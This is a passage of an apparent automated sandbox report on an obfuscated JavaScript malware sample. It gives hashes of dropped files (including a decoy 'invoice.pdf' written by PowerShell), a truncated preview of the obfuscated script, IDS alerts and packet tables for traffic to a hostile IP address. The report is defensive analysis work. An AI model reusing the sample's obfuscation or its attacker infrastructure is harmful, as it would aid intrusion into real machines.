SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRWy:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR9
MD5:	266DBC21905775467BBD0C81D78970C6
SHA1:	A1CA0514142AE916FBB2D527399DA9503C013085
SHA-256:	3055460F11AFCC598E5E4A129F0A93D92489677745798653DAA59AACADCB93DC
SHA-512:	34A21BC66B025CED6B5D0538BDFF5D677BD2C5FB17162A6FD10455CA4147A30EF71D4E62474B981CBD6F8ACC9343FD00F316A4E52C85C7DE03437CA769E69407
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\8c4d610c-8869-4d26-b8ae-136d8aa23735.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8dd1a0b0-6475-4796-aef7-aea23a6525b3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b6a29a6e-05e9-4560-8ad2-41d9e094551f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e6ab74ee-59b7-4e20-821d-ccc699ae5404.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17574), with CRLF line terminators
Entropy (8bit):	4.897809642822054
TrID:
File name:	31352150452488124098.js
File size:	20'896 bytes
MD5:	eae211f9e3fed95e523da8b914762923
SHA1:	180fe7d55c0fc4b2807c259e6019d0513bc5db79
SHA256:	ebf2ad6af7e5808ad5ec3b0de37fc91a8da58411b7d18ce5f9870ea1962cf762
SHA512:	71613ed46307f2db08a392f4014daf9f2cfe4c3df8ce2f836d960efc5466a0e6520bd4eef02b47f90b9a397f6b499b707e57ed2164cc006a2bda07289873e8c3
SSDEEP:	384:swGYD+MtFt7e/Y0nKJ57+NeKams0hXDMgaPQ+01Y:sB9ge/Y0KqLams0qgaj
TLSH:	B69285DDD25E845B4EE4356704D36DEA83C002CC4A6965CEEBD524DC613E2AF68F28F8
File Content Preview:	function bdfmtb(){fncmnee=[1031,3079,5127,4103,2055,3072];var ppcfwpit=this[rhcnupqnf+bvpvx+rhjgv+ojwdtsa+sfggms+kchyw+tldqs+njqed](this[choos+zeyzfa+aslcn+rhjgv+lxlpouhv+rhcnupqnf+njqed][gbhmzk+rhjgv+sfggms+bvpvx+njqed+sfggms+fpfjw+jkkrcu+rtywrwjld+sfggm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:02:04.805848+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-10T23:02:06.926369+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:02:04.006822109 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.011760950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.011846066 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.017615080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.022524118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805711031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805768013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805805922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805841923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805847883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.805877924 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805927992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805941105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.805963993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.805998087 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.805998087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.806035042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.806045055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.806072950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.806123972 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.810981035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.851442099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.851470947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.851525068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.895112038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.935077906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935121059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935156107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935193062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935192108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.935230017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935250044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.935363054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935417891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.935420036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935473919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935512066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935520887 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.935548067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.935600996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.936245918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.936285019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.936321974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.936356068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.936362028 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.936393023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.936409950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.936978102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.937032938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.937041998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.937078953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.937115908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.937127113 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.937153101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.937200069 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.938002110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.938041925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.938081026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.938096046 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.978338957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.978429079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:04.979549885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.979583979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:04.979639053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.022270918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.022294998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.022350073 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.063534975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063560963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063591957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063608885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063627958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063632011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.063669920 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.063776016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063819885 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.063836098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063852072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063889027 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.063899040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063926935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.063965082 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.064364910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.064399004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.064415932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.064444065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.064583063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.064601898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.064620972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.064640045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.064644098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.064673901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.065350056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.065368891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.065387964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.065402031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.065433979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.065437078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.065453053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.065470934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.065486908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.065495968 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.065535069 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.066163063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.066181898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.066200972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.066229105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.066258907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.066274881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.066293001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.066298962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.066312075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.066350937 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.066987038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067037106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.067044973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067061901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067101002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.067137957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067153931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067173004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067188978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067190886 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.067233086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.067872047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067925930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067944050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.067966938 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.067996979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.068016052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.068036079 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.068475962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.068522930 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.068532944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.107974052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.108004093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.108036995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.108968019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.108999968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.109014034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.109016895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.109055042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.150274992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.150295973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.150484085 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.192218065 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192255974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192272902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192291975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192327023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.192357063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.192387104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192441940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192456007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192481995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.192516088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192554951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192559004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.192627907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192679882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:02:05.192692995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:02:05.192694902 CET	80	49700	193.143.1.205	192.168.2.7
